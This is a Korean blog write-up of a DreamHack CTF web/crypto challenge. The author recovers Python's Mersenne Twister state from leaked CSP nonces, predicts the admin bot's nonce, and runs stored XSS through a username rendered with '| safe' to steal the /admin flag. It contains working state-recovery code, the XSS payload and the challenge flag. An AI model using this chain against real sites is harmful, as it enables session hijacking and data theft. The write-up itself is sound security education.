2026-06-05·1분 읽기·
CSP가 inline script를 막지만 nonce를 Python random()으로 만든다. 응답 헤더로 새는 nonce를 624워드 모아 MT19937 상태를 복원하면 다음 nonce가 예측된다. reporter username의 stored XSS에 예측한 nonce를 박아 admin 봇 브라우저에서 /admin 플래그를 빼냈다.
이 글이 도움이 됐나요?
문제: DreamHack — Mini Social Media 분류: Web + Crypto 난이도: 🥇 Gold 3 FLAG:
DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}
간단한 소셜 미디어 서비스다. 글 쓰고, 좋아요 누르고, 신고하면 admin이 신고 목록을 확인한다. 신고를 admin이 본다는 점에서 XSS 냄새가 강하게 난다. 그런데 CSP가 걸려 있어서 평범한 <script>는 실행되지 않는다.
핵심은 그 CSP의 nonce를 어떻게 만드느냐다. 서버는 nonce를 Python의 random 모듈로 뽑는데, 이 값이 매 응답 헤더에 그대로 실려 나온다. 메르센 트위스터는 출력 몇 개만 모으면 내부 상태가 복원된다. 즉 다음에 나올 nonce를 미리 계산할 수 있다.
| 항목 | 내용 |
|---|---|
| 문제명 | Mini Social Media |
| 난이도 | 🥇 Gold 3 |
| 분류 | Web + Crypto |
| 제공 | Flask 소스 + Dockerfile + admin_bot(Selenium) |
| 핵심 취약점 | MT19937 nonce 예측 + reporter username stored XSS |
서비스는 로그인/회원가입, 글 작성(/create_post), 좋아요(/like_post), 신고(/report_post)로 이루어진다. 플래그는 /admin에 있고, 세션의 role_id == 2(admin)일 때만 읽을 수 있다.

우리가 만드는 계정은 role_id = 1로 고정된다. admin 비밀번호는 서버가 켜질 때마다 os.urandom(32)로 새로 발급되니 직접 로그인할 길은 없다. admin 권한을 빌리려면 admin 봇의 브라우저 안에서 코드를 실행해야 한다.
신고가 들어오면 /report_post가 admin_bot.read_reports()를 부르고, 봇은 /reports 페이지를 연다. 그 템플릿을 보자.
{# reports.html #}
<p><strong>Report ID:</strong> {{ report[0] }}</p>
<p><strong>Reported By:</strong> {{ report[1] | safe }}</p>
<p><strong>Post Content:</strong> {{ report[2] }}</p>report[2](글 내용)은 Jinja 기본 autoescape가 걸려 있어서 <script>를 넣어도 그냥 텍스트로 박힌다. 처음엔 당연히 글 내용을 노렸는데, 여기서 한 번 막혔다.
진짜 구멍은 바로 윗줄, report[1] | safe다. report[1]은 신고한 사람의 username이고 | safe 탓에 이스케이프 없이 그대로 렌더된다. 그러니까 XSS는 글이 아니라 내 계정 이름에 심는다. 회원가입할 때 username을 <script>...</script>로 만들고, 아무 글이나 하나 신고하면 그 이름이 admin 화면에서 살아난다.
쿼리를 보면 신고자가 누구인지 분명하다.
SELECT Reports.report_id, Users.username AS reporter, Posts.content, Reports.reported_at
FROM Reports
JOIN Users ON Reports.reported_by_user_id = Users.user_id
JOIN Posts ON Reports.post_id = Posts.post_idXSS 지점은 찾았는데 after_request가 모든 응답에 CSP를 붙인다.
@app.after_request
def add_header(response):
nonce = get_secure_nonce()
csp = f"default-src 'self'; " \
f"script-src 'self' 'nonce-{nonce}' 'unsafe-inline'; " \
f"img-src 'self'; style-src 'self' 'unsafe-inline'; " \
f"object-src 'none'; base-uri 'none';"
response.headers['Content-Security-Policy'] = csp
return responsescript-src에 'unsafe-inline'이 보여서 "어, 그럼 inline 그냥 되는 거 아냐?" 싶었다. 아니다. CSP에 nonce(또는 hash)가 하나라도 들어가면 브라우저는 'unsafe-inline'을 무시한다. 봇은 최신 크롬이라 이 규칙을 따른다. 결국 inline script는 응답에 실린 nonce를 정확히 달고 있어야만 실행된다.
img-src 'self'라 외부로 이미지 비콘을 쏠 수도 없고, connect-src는 따로 없어 default-src 'self'를 따른다. 외부 유출 경로는 다 막혀 있다. 대신 같은 출처(/admin, /create_post)로는 자유롭게 fetch가 된다. 이게 나중에 유출 통로가 된다.
남은 질문은 하나다. 그 nonce를 어떻게 맞히지?
nonce 생성기를 뜯어보자.
def get_secure_nonce():
nonce = 0
for i in range(4):
nonce |= random.randint(0, 0xfffffffe) << 32 * i
return hex(nonce)[2:].zfill(32)이름은 secure지만 random 모듈, 즉 메르센 트위스터(MT19937)다. 암호용이 아니라 예측용이다.
random.randint(0, 0xfffffffe)는 내부적으로 _randbelow(0xffffffff)를 호출하고, 이건 getrandbits(32)를 한 번 부른다(반환값이 0xffffffff일 때만 다시 뽑는데 확률이 2**-32라 사실상 안 일어난다). MT의 getrandbits(32)는 상태 워드 하나를 temper해서 내보내는 것과 같다. 정리하면:
getrandbits(32) 4번 = MT 출력 워드 4개 (w0가 하위 32비트, w3가 상위)MT19937은 연속한 32비트 출력 624개면 내부 상태 624워드를 그대로 역산할 수 있다(각 출력을 untemper). 624워드 = nonce 156개. 응답 156번이면 다음 nonce가 전부 계산된다.
curl -si http://host8.dreamhack.games:18269/login | grep -i content-security-policy
untemper는 tempering 4단계를 비트 단위로 거꾸로 푸는 표준 작업이다.
def untemper(y):
y = _undo_right_shift_xor(y, 18)
y = _undo_left_shift_xor_mask(y, 15, 0xEFC60000)
y = _undo_left_shift_xor_mask(y, 7, 0x9D2C5680)
y = _undo_right_shift_xor(y, 11)
return y
def nonce_to_words(nonce_hex):
n = int(nonce_hex, 16)
return [(n >> (32 * i)) & 0xFFFFFFFF for i in range(4)]624워드를 untemper해 상태를 만들고, random.Random에 그대로 끼워 넣으면 서버와 똑같이 굴러가는 복제 생성기가 된다. 이후엔 getrandbits(32)를 같은 박자로 돌리며 서버가 내보낼 nonce를 한 발 앞서 뽑으면 된다.
class NoncePredictor:
def __init__(self, observed_nonces):
words = []
for nh in observed_nonces:
words.extend(nonce_to_words(nh))
state = tuple(untemper(w) for w in words[:624]) + (624,)
self.rng = random.Random()
self.rng.setstate((3, state, None))
# 남는 nonce로 정렬이 맞는지 즉시 검증
for i in range(624, len(words)):
assert self.rng.getrandbits(
복원만으로는 부족하다. "그 다음 nonce"가 아니라 "admin 봇이 /reports를 그릴 때의 nonce"를 맞혀야 한다. 응답 하나가 nonce 하나(4워드)를 정확히 소비하니, 내가 보낸 요청과 봇이 보낸 요청의 순서를 한 칸도 안 틀리게 세야 한다.
요청 흐름을 따라가 보면 report_post가 열쇠다.
@app.route('/report_post', methods=['POST'])
def post_report_post():
# ... INSERT Reports ...
admin_bot.read_reports() # 봇이 동기적으로 /reports 를 연다
return render_template('report_completed.html')read_reports()는 driver.get('/reports')라 블로킹이다. 그래서 봇의 /reports 응답(=내가 노리는 nonce)이 먼저 소비되고, report_post 자신의 after_request는 그 뒤에 소비된다. 봇 브라우저가 이어서 부르는 CSS·favicon 요청은 네비게이션 응답 이후라 타깃 nonce에 영향을 주지 않는다.
여기서 두 번째 삽질. 카운팅이 한두 칸 어긋날까 봐, payload에 nonce 후보를 여러 개 박아 "산탄총"으로 쏘려 했다. 그런데 username이 VARCHAR(255)다. nonce를 단 script 태그 하나가 이미 177자라 두 개가 안 들어간다. 한 응답에는 nonce가 단 하나뿐이니 후보를 나열해도 의미가 없고, 결국 정확히 한 발을 맞혀야 한다.
그래서 공격 시퀀스를 최소 요청 3개로 고정했다. 미리 신고할 글 하나는 버리는 계정으로 만들어 두고, nonce 수집이 끝난 직후 다른 요청 없이 곧장:
| 순서 | 요청 | 소비하는 nonce |
|---|---|---|
| 0 | POST /register (XSS username) | predict[0] |
| 1 | POST /login | predict[1] |
| 2 | POST /report_post → 봇 GET /reports | predict[2] ← 타깃 |
리다이렉트를 따라가면 요청이 한 개 더 생기니 allow_redirects=False로 묶어 응답 수를 딱 맞춘다. 그러면 봇의 /reports는 정확히 predict[2]다. username에 그 값을 박는다.
payload는 외부로 나갈 필요가 없다. admin 봇 브라우저(같은 출처)에서 /admin을 읽어 플래그를 받고, 그걸 /create_post로 다시 올리면 끝이다. 그 글은 공개 피드에 뜨니 내 계정으로 들어가 읽으면 된다.
fetch('/admin').then(r=>r.text())
.then(t=>fetch('/create_post',{method:'POST',
body:new URLSearchParams({postText:t})}))<script nonce="예측값"> + 위 코드 = 177자, 255 제한 안에 들어간다.
배포 환경을 그대로 띄워서 봇까지 포함한 전체 체인을 확인하고 싶었는데, base 이미지가 python:3.11-slim-buster였다. Debian buster는 EOL이라 apt 저장소가 archive로 빠져서 apt update가 404로 죽는다.
E: The repository 'http://deb.debian.org/debian buster Release' does not have a Release file.
failed to solve: process "/bin/sh -c apt update -y && apt install ..." exit code: 100익스플로잇이 의존하는 건 Python random(어느 OS든 동일)·Flask 3.0.2(pip 고정)·크롬 동작뿐이라 base만 slim-bookworm으로 바꿔도 행동이 그대로다. 거기에 deprecated된 apt-key 대신 signed-by 키링으로 크롬 저장소를 등록해 빌드를 살렸다. 덕분에 로컬에서 봇이 실제로 nonce 달린 script를 실행하는 것까지 확인하고 공식 서버에 쐈다.
mt_predict.py(MT 복원·예측)와 solve.py(체인) 두 파일로 나눴다. 예측기는 다음과 같이 복원 직후 내부 검증을 하고, 공식 서버에 대해 한 번 더 라이브로 "예측 → 요청 → 비교"를 돌려 정렬이 맞는지 못박는다.
#!/usr/bin/env python3
import re, sys, time, secrets, requests
from mt_predict import NoncePredictor
BASE = sys.argv[1].rstrip('/')
OFFSET = int(sys.argv[2]) if len(sys.argv) > 2 else 2 # register, login, [reports]
N_COLLECT, N_SANITY = 200, 5
NONCE_RE = re.compile(r"nonce-([0-9a-f]{32})")
PAYLOAD = ("fetch('/admin').then(r=>r.text())"
".then(t=>fetch('/create_post',{method:'POST',"
"body:new URLSearchParams({postText:t})}))")
def nonce_of(r):
실행 결과. 복원 → 라이브 검증 → 예측 nonce → username 주입 → 플래그 회수가 한 흐름으로 떨어진다.

[+] MT state recovered & internally verified (800 words synced)
[+] live prediction verified for next 5 responses
[+] target (bot /reports) nonce = e394c3ff1c130124915ecbfec58de052
[+] XSS username (177 chars): <script nonce="e394c3ff1c130124915ecbfec58de052">fetch('/admin')...</script>
[+] report fired; admin bot rendered our username under the predicted nonce
[+] FLAG: DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}admin 봇이 받아온 플래그를 자기 이름으로 피드에 다시 올린 모습이다. role_id = 1인 내 계정이 admin의 /admin 응답을 그대로 손에 넣었다.

FLAG:
DH{e6e701c5:VcbJZsyxrfWdck6i4loUBA==}
nonce는 비밀일 때만 nonce다.
CSP의 nonce가 inline script를 막는 건 그 값이 추측 불가능하다는 전제 위에서다. random.randint로 뽑은 순간 그 전제가 무너지고, 응답 헤더로 흘러나오는 값까지 더하면 한 발 앞을 보는 건 시간문제가 된다. secrets나 os.urandom이었다면 이 풀이는 성립하지 않는다.
웹과 크립토가 한 줄에서 만난다. XSS 지점(| safe 한 글자)을 찾는 건 웹의 영역이고, 그걸 실제로 실행시키는 열쇠는 메르센 트위스터 복원이라는 크립토다. 둘 중 하나만 빠져도 플래그까지 못 간다.
마지막은 카운팅 싸움이었다. read_reports()가 동기 호출이라는 사실 하나가 "봇의 nonce가 내 report_post보다 먼저"라는 순서를 만들어줬고, username 255자 제한이 "정확히 한 발"을 강제했다. 익스플로잇이 멋있어서가 아니라, 응답 순서를 한 칸도 안 틀리게 셌기 때문에 맞은 거다.
전에 풀었던 Dream Lectures도 같은 골격이었다. 거긴 16비트 LFSR이라 거의 즉시 복원됐는데, 여기선 128비트 MT라 624워드를 긁어모아야 했다. 같은 패턴, 한 단계 위의 난도.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…